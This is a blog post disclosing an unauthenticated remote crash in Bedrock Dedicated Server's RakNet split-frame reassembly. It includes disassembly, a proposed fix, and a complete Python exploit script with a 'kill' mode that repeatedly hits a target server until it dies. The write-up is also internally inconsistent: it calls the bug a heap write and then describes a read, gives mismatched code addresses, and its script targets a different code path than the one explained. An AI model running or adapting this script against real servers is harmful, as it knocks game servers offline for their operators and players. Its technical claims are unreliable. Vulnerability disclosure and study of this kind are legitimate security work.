Skip to content

← Blog

Post

RakNet Split-Frame Reassembly in Bedrock Dedicated Server

Leveraging how the Raknet netwokring engine reassmbles packet's inflight to achieve a out of bounds heapwrite

11 min read20 viewsLikes: 1Dislikes: 0PGP signature

My CVE allows for any BDS (Bedrock Dedicated Server) exposed to the internet to be remotely crashed. The attacker is able to bypass any and all in-game checks and allowlist protections.

In this blog post, I will outline the steps I took to reverse engineer BDS: researching target surfaces, choosing a target surface, fuzzing the target surface, reverse engineering through IDA and Python, and finally leveraging them to crash BDS.

Start with downloading the BDS bin:

curl --http1.1 -fL -A 'Mozilla/5.0' https://www.minecraft.net/bedrockdedicatedserver/bin-linux/bedrock-server-1.26.52.3.zip -o bds.zip
unzip -j bds.zip bedrock_server

Through looking at documentation and analyzing the BDS architecture, I settled on finding a bug that met two requirements:

  1. No authentication with Microsoft services.
  2. No in-game account required—reachable before the login network stage.

Inspired by CVE-2018-5391 (FragmentSmack), which targeted packet fragment reassembly in the Linux kernel, this CVE targets how network-facing applications put split packets back together before checking who sent them. When a RakNet (UDP) payload is too large to fit into a single packet, it gets chopped up into multiple smaller frames that the server has to reassemble in memory(Determined by the MTU)

To find where this lives in the binary, I started by pulling section headers, hunting for RakNet strings, and dumping the assembly around those functions:

readelf -hSW bedrock_server
strings -a -t x bedrock_server | rg 'RakPeer|RakNetSocket|ReliabilityLayer|BitStream|splitPacket|incomingAcks|incomingNAKs|orderingChannel'
strings -a -t x bedrock_server | rg 'NetworkPeer|PacketSecurity|PacketLimit|ConnectionRequest|NetworkSettings|ValidatedLogin'
objdump -d --start-address=0xd5cc820 --stop-address=0xd5d1380 bedrock_server
objdump -d --start-address=0xd603260 --stop-address=0xd603590 bedrock_server

At a high level, normal player traffic flows through the server like this:

UML diagramPlayer. UDP. Signaling. RakNet. NetherNet / WebRTC. Network. Packet processing. Login handler. Authentication. Join checks. Resource packs. Player joins. Player and UDP. Player and Signaling. UDP and RakNet. Signaling and NetherNet / WebRTC. RakNet and Network. NetherNet / WebRTC and Network. Network and Packet processing. Packet processing and Login handler. Login handler and Authentication. Login handler and Join checks. Login handler and Resource packs. Join checks and Player joins.PlayerUDPSignalingRakNetNetherNet / WebRTCNetworkPacket processingLogin handlerAuthenticationJoin checksResource packsPlayer joins

Mapping out the RakNet functions from the binary gives a much clearer picture of what happens under the hood:

UML diagramRemote client. UDP socket. Receive queue. RakPeer dispatch. Offline parsing. Connection setup / MTU. Active peer lookup. Reliability receive. Datagram validation. ACK ranges. NAK ranges. Congestion / receive tracking. BitStream / frame parser. Reliable duplicate tracking. Split channels / reassembly. Unsplit frames. Ordering / sequencing. Delivery queue. RakPeer message handling. RakNetConnector. Timed update / cleanup. Reliability state. BDS packet processing. Compression / batching. Packet guards. Settings / login parsing. ConnectionRequest. Minecraft authentication. Remote client and UDP socket. UDP socket and Receive queue. Receive queue and RakPeer dispatch. RakPeer dispatch and Offline parsing. Offline parsing and Connection setup / MTU. RakPeer dispatch and Active peer lookup. Active peer lookup and Reliability receive. Reliability receive and Datagram validation. Datagram validation and ACK ranges. Datagram validation and NAK ranges. Datagram validation and Congestion / receive tracking. Congestion / receive tracking and BitStream / frame parser. BitStream / frame parser and Reliable duplicate tracking. Reliable duplicate tracking and Split channels / reassembly. Reliable duplicate tracking and Unsplit frames. Split channels / reassembly and Ordering / sequencing. Unsplit frames and Ordering / sequencing. Ordering / sequencing and Delivery queue. Delivery queue and RakPeer message handling. RakPeer message handling and RakNetConnector. RakPeer dispatch and Timed update / cleanup. ACK ranges and Reliability state. NAK ranges and Reliability state. Timed update / cleanup and Reliability state. RakNetConnector and BDS packet processing. BDS packet processing and Compression / batching. BDS packet processing and Packet guards. BDS packet processing and Settings / login parsing. Settings / login parsing and ConnectionRequest. ConnectionRequest and Minecraft authentication.Remote clientUDP socketReceive queueRakPeer dispatchOffline parsingConnection setup / MTUActive peer lookupReliability receiveDatagram validationACK rangesNAK rangesCongestion / receive trackingBitStream / frame parserReliable duplicate trackingSplit channels / reassemblyUnsplit framesOrdering / sequencingDelivery queueRakPeer message handlingRakNetConnectorTimed update / cleanupReliability stateBDS packet processingCompression / batchingPacket guardsSettings / login parsingConnectionRequestMinecraft authentication

Looking at the diagram above, the reliability layer reassembles split packets way before the packet ever reaches BDS packet processing or Minecraft authentication. All it takes to reach this code is finishing a basic RakNet UDP handshake. Let's zoom in on the Split channels / reassembly box to see how it actually tracks those pieces:

UML diagramRead split metadata: count +0x14 / ID +0xe, index +0x10. Split frame? Unsplit frame: Ordering / sequencing, 0xd5cf6a1. Load context array: 0xd5ce6ff, array +0x10e8, count +0x10f0. Find context by split ID: 0xd5ce730, binary search when nonempty. Below 256 contexts? Allocate context: 0xd5ce7e2, 0x28 bytes. Find insertion slot: 0xd5ce836, grow pointer array if full. Insert sorted context: 0xd5cf02e, increment context count. Allocate fragment slots: 0xd5cf04b, zero pointers / set split ID. Count matches? Index in range? Slot empty? Release incoming fragment: free payload or drop reference, return packet object to pool. Store fragment pointer: 0xd5cf2dc. Update context: 0xd5cf2e0, increment received count, refresh timestamp. Remember first fragment: 0xd5cf2f3, save pointer if index is zero. Optional progress notice: 0xd5cf2fc, interval and first-fragment checks. Completion lookup: Continue in the next diagram, 0xd5cf16d. Read split metadata to Split frame? Split frame? to Load context array (yes). Split frame? to Unsplit frame (no). Load context array to Find context by split ID. Find context by split ID to Count matches? (found). Find context by split ID to Below 256 contexts? (absent). Below 256 contexts? to Allocate context (yes). Below 256 contexts? to Release incoming fragment (no). Allocate context to Find insertion slot. Find insertion slot to Insert sorted context. Insert sorted context to Allocate fragment slots. Allocate fragment slots to Index in range? Count matches? to Index in range? (yes). Count matches? to Release incoming fragment (no). Index in range? to Slot empty? (yes). Index in range? to Release incoming fragment (no). Slot empty? to Store fragment pointer (yes). Slot empty? to Release incoming fragment (duplicate). Release incoming fragment to Completion lookup. Store fragment pointer to Update context. Update context to Remember first fragment. Remember first fragment to Optional progress notice. Optional progress notice to Completion lookup.yesnofoundabsentyesnoyesnoyesnoyesduplicateRead split metadatacount +0x14 / ID +0xeindex +0x10Split frame?Unsplit frameOrdering / sequencing0xd5cf6a1Load context array0xd5ce6ffarray +0x10e8count +0x10f0Find context by split ID0xd5ce730binary search when nonemptyBelow 256 contexts?Allocate context0xd5ce7e20x28 bytesFind insertion slot0xd5ce836grow pointer array if fullInsert sorted context0xd5cf02eincrement context countAllocate fragment slots0xd5cf04bzero pointers / set split IDCount matches?Index in range?Slot empty?Release incoming fragmentfree payload or drop referencereturn packet object to poolStore fragment pointer0xd5cf2dcUpdate context0xd5cf2e0increment received countrefresh timestampRemember first fragment0xd5cf2f3save pointer if index is zeroOptional progress notice0xd5cf2fcinterval and first-fragment checksCompletion lookupContinue in the next diagram0xd5cf16d

Once the fragments have been stored, the completion path builds the output packet and releases the reassembly state:

UML diagramCompletion lookup: 0xd5cf16d, find context by split ID again. All fragments present? Wait for more input: 0xd5d0080, continue receive loop. Create output packet: 0xd5cf231, copy fragment-zero metadata. Sum fragment lengths: 0xd5cf420, four bit lengths per iteration. Sum remaining lengths: 0xd5cf470, handle up to three fragments. Allocate output buffer: 0xd5cf483, round total bits up to bytes, allocation call at 0xd5cf49c. Initialize copy loop: 0xd5cf4b5, index = 0 / bit offset = 0. Load current fragment: 0xd5cf4c0, read fragment pointer at index. Compute copy arguments: destination = output + byte offset, source = fragment payload, size = rounded fragment bytes. Copy fragment payload: 0xd5cf4e1, memcpy. Advance offset and index: 0xd5cf4e6, add fragment bits / increment index. More fragments? Release all fragments: 0xd5cf510, free payload or drop reference, return each packet object to pool. Free slots and context: 0xd5cf5d0 / 0xd5cf5ea. Remove sorted-array entry: 0xd5cf5ff, shift pointers / decrement count. Ordering / sequencing: 0xd5cf6a1. Buffer or drop: continue receive loop. Delivery queue: 0xd5cf85d, enqueue eligible packet. Completion lookup to All fragments present? (found). Completion lookup to Wait for more input (absent). All fragments present? to Wait for more input (no). All fragments present? to Create output packet (yes). Create output packet to Sum fragment lengths. Sum fragment lengths to Sum remaining lengths. Sum remaining lengths to Allocate output buffer. Allocate output buffer to Initialize copy loop. Initialize copy loop to Load current fragment. Load current fragment to Compute copy arguments. Compute copy arguments to Copy fragment payload. Copy fragment payload to Advance offset and index. Advance offset and index to More fragments? More fragments? to Load current fragment (yes). More fragments? to Release all fragments (no). Release all fragments to Free slots and context. Free slots and context to Remove sorted-array entry. Remove sorted-array entry to Ordering / sequencing. Ordering / sequencing to Buffer or drop (not ready). Ordering / sequencing to Delivery queue (ready).foundabsentnoyesyesnonot readyreadyCompletion lookup0xd5cf16dfind context by split ID againAll fragments present?Wait for more input0xd5d0080continue receive loopCreate output packet0xd5cf231copy fragment-zero metadataSum fragment lengths0xd5cf420four bit lengths per iterationSum remaining lengths0xd5cf470handle up to three fragmentsAllocate output buffer0xd5cf483round total bits up to bytesallocation call at 0xd5cf49cInitialize copy loop0xd5cf4b5index = 0 / bit offset = 0Load current fragment0xd5cf4c0read fragment pointer at indexCompute copy argumentsdestination = output + byte offsetsource = fragment payloadsize = rounded fragment bytesCopy fragment payload0xd5cf4e1memcpyAdvance offset and index0xd5cf4e6add fragment bits / increment indexMore fragments?Release all fragments0xd5cf510free payload or drop referencereturn each packet object to poolFree slots and context0xd5cf5d0 / 0xd5cf5eaRemove sorted-array entry0xd5cf5ffshift pointers / decrement countOrdering / sequencing0xd5cf6a1Buffer or dropcontinue receive loopDelivery queue0xd5cf85denqueue eligible packet

Every split packet carries a splitId number so the server knows which pieces belong together. Because a client might have multiple split packets in flight at the same time, the server keeps a sorted list of active split-packet trackers for each connection (stored at connection+0x10e8, with the current item count at connection+0x10f0). When a new piece arrives, the server does a [Split ID lookup] using a binary search over that sorted list. That search returns a slot number from 0 up to count telling the server where that splitId belongs.

Here is where the bug happens in IDA. Right after the binary search gives back a slot number, the server checks if the tracker at that slot matches the incoming packet before deciding whether to open a [New channel]:

c48aaaa:  mov  r15, [rax+rbx*8]    ; rbx = slot index from search; reads one slot PAST the list when rbx == count
c48aaae:  mov  eax, [r15+0x10]     ; tries to read from that garbage pointer -> crash (SIGSEGV)
c48aab2:  cmp  eax, [r15+0x14]
c48aab6:  jne  <insert path>

Because list indexes start at 0, the last real item in the list is at count - 1. If an incoming packet has a splitId bigger than every other splitId currently in the list, the binary search returns count—telling the server to insert the new item at the very end. Instead of checking whether the returned index equals count first, the code immediately reads list[count], which is one slot past the end of the array. It pulls whatever random leftover data is sitting in heap memory right after the list, treats it like a valid pointer, and tries to read [r15+0x10] from it. As soon as that garbage value points to unmapped memory, the whole bedrock_server process segfaults and dies on the spot. While fuzzing and testing this in Python, one detail stood out right away: sending split packets with IDs counting down (like 10, 9, 8) never caused a crash. Because each new ID is smaller than the ones before it, the binary search always puts it at index 0 at the very front of the list, which is valid memory. Sending split packets with IDs counting up (like 1, 2, 3) forces every single packet to land at index count, reading past the end of the list every time until the server hits a bad address and crashes. Fixing this on the server side only takes a single bounds check: before reading from list[index], verify that index is strictly less than count. If index equals count, skip the comparison and jump straight to the new-channel insertion path. In 1.26.52.3, the [Copy fragments] loop looks like this:

000000000d5cf4b5 <.text+0x95c7275>:
 d5cf4b5:	45 31 f6             	xor    r14d,r14d
 d5cf4b8:	45 31 e4             	xor    r12d,r12d
 d5cf4bb:	0f 1f 44 00 00       	nop    DWORD PTR [rax+rax*1+0x0]
 d5cf4c0:	49 8b 47 08          	mov    rax,QWORD PTR [r15+0x8]
 d5cf4c4:	4a 8b 2c f0          	mov    rbp,QWORD PTR [rax+r14*8]
 d5cf4c8:	41 8d 7c 24 07       	lea    edi,[r12+0x7]
 d5cf4cd:	c1 ef 03             	shr    edi,0x3
 d5cf4d0:	49 03 7d 48          	add    rdi,QWORD PTR [r13+0x48]
 d5cf4d4:	48 8b 75 48          	mov    rsi,QWORD PTR [rbp+0x48]
 d5cf4d8:	8b 55 18             	mov    edx,DWORD PTR [rbp+0x18]
 d5cf4db:	83 c2 07             	add    edx,0x7
 d5cf4de:	c1 ea 03             	shr    edx,0x3
 d5cf4e1:	e8 1a 3a 81 01       	call   ede2f00 <memcpy@plt>
 d5cf4e6:	44 03 65 18          	add    r12d,DWORD PTR [rbp+0x18]
 d5cf4ea:	49 ff c6             	inc    r14
 d5cf4ed:	41 8b 47 10          	mov    eax,DWORD PTR [r15+0x10]
 d5cf4f1:	49 39 c6             	cmp    r14,rax
 d5cf4f4:	72 ca                	jb     d5cf4c0 <__cxa_finalize@plt-0x1813860>

Okay we have our entry point, how do we escalate?

  1. Start a basic raknet handshake(OpenConnectionRequest / Reply, then ConnectionRequest)
  2. Start split packets and just don't finish them. Send incomplete fragment sets.
  3. Keep sending new split frames with a splitId bigger than every splitId already in the list. Every single one makes the binary search hand back index == count.
  4. Every one of those lookups reads one slot past the end of the list and dereferences whatever garbage is sitting there in the heap.
  5. Sooner or later that garbage isn't a real address. In testing, it didn't take long. The read faults and bedrock_server segfaults.
import socket, sys, struct, time, os, random

MAGIC = bytes.fromhex('00ffff00fefefefefdfdfdfd12345678')
random.seed(struct.unpack('<Q', os.urandom(8))[0])
MAXFRAG = 1300

def u24le(v):
    return bytes((v & 0xff, (v >> 8) & 0xff, (v >> 16) & 0xff))

def addr4(ip, port):
    b = socket.inet_aton(ip)
    return bytes([4] + [~x & 0xff for x in b]) + struct.pack('>H', port)

def frame_bits(payload, bit_len, msg_index=0, split=False,
               split_count=0, split_id=0, split_index=0):
    out = bytes([0x40 | (0x10 if split else 0), bit_len >> 8, bit_len & 0xff])
    out += u24le(msg_index)
    if split:
        out += struct.pack('>IHI', split_count, split_id, split_index)
    return out + payload

def datagram(seq, frames, flags=0x84):
    return bytes([flags]) + u24le(seq) + b''.join(frames)

def ocr1(mtu_payload=1400, proto=11):
    return bytes([0x05]) + MAGIC + bytes([proto]) + b'\x00' * max(0, mtu_payload - 18)

def ocr2(ip, port, mtu, guid):
    return bytes([0x07]) + MAGIC + addr4(ip, port) + struct.pack('>HQ', mtu, guid)

def handshake(sock, server, timeout=3.0):
    guid = random.getrandbits(63) | 1
    sock.settimeout(timeout)
    sock.sendto(ocr1(), server)
    try:
        data, _ = sock.recvfrom(2048)
        if not data or data[0] != 0x06:
            return None
        sock.sendto(ocr2(server[0], server[1], struct.unpack('>H', data[-2:])[0], guid), server)
        data, _ = sock.recvfrom(2048)
        if not data or data[0] != 0x08:
            return None
        cr = bytes([0x09]) + struct.pack('>Qq', guid, 1) + b'\x00'
        sock.sendto(datagram(0, [frame_bits(cr, len(cr) * 8)]), server)
        t_end = time.time() + timeout
        while time.time() < t_end:
            data, _ = sock.recvfrom(2048)
            if data[0] not in (0xc0, 0xa0) and 0x10 in data:
                break
        else:
            return None
    except socket.timeout:
        return None
    nic = (bytes([0x13]) + addr4(server[0], server[1])
           + addr4('255.255.255.255', 0) * 20 + struct.pack('>qq', 1, 2))
    sock.sendto(datagram(1, [frame_bits(nic, len(nic) * 8, msg_index=1)]), server)
    return {'seq': 2, 'msgidx': 2}

def send_split(sock, server, st, payload, bit_len, count, sid, idx):
    f = frame_bits(payload, bit_len, msg_index=st['msgidx'], split=True,
                   split_count=count, split_id=sid, split_index=idx)
    sock.sendto(datagram(st['seq'], [f]), server)
    st['seq'] += 1
    st['msgidx'] += 1

def mk_completion(sock, srv, st, N, oob_byte, sid):
    assert N % 16 == 8 and N >= 24
    L = N - 9
    frags = []
    idx = 0
    left = L
    while left > 0:
        n = min(MAXFRAG, left)
        frags.append((b'A' * n, n * 8, idx))
        left -= n
        idx += 1
    for k in range(8):
        frags.append((bytes((0x60 + k, oob_byte if k == 7 else 0x61 + k)), 9, idx + k))
    count = idx + 8
    for payload, bits, i in frags:
        send_split(sock, srv, st, payload, bits, count, sid, i)

def liveness(ip, port):
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    s.settimeout(1.5)
    try:
        s.sendto(ocr1(), (ip, port))
        d, _ = s.recvfrom(2048)
        return d[0] == 0x06
    except socket.timeout:
        return False
    finally:
        s.close()

def udp():
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    s.bind((os.environ.get('SRC_IP') or '0.0.0.0', 0))
    return s

def main():
    ip, port = sys.argv[1], int(sys.argv[2])
    mode = sys.argv[3] if len(sys.argv) > 3 else 'kill'
    srv = (ip, port)
    s = udp()
    st = handshake(s, srv)
    if not st:
        print('repro: handshake failed (server down/wedged or not BDS RakNet)')
        return
    if mode == 'gdb':
        print('repro: handshake done, sleeping 4s (attach now)')
        time.sleep(4)
        mk_completion(s, srv, st, 72, 0x42, 0x7777)
        time.sleep(0.6)
        print(f'repro: single N=72 completion sent -> server {"ALIVE" if liveness(ip, port) else "DEAD"}')
        return
    byteval = int(mode, 0) if mode != 'kill' else 0x42
    classes = [24, 40, 56, 72, 104, 136, 168, 264, 520, 1032]
    sid = 0x7000
    n = 0
    for sweep in range(4):
        for N in classes:
            mk_completion(s, srv, st, N, byteval, sid)
            sid += 1
            n += 1
            time.sleep(0.25)
            if not liveness(ip, port):
                print(f'repro: server DEAD after {n} completions (sweep {sweep}, last class {N}, byte {byteval:#x})')
                return
    print(f'repro: server still ALIVE after {n} completions (byte {byteval:#x})')

if __name__ == '__main__':
    main()

How it could be fixed:

idx = lower_bound(contexts, count, splitId);   // valid range: 0..count
if (idx < count && contexts[idx]->splitId == splitId
    && contexts[idx]->matches(...)) {
    /* existing context — record the fragment */
} else {
    /* insert a new context at idx — never read contexts[idx] here */
}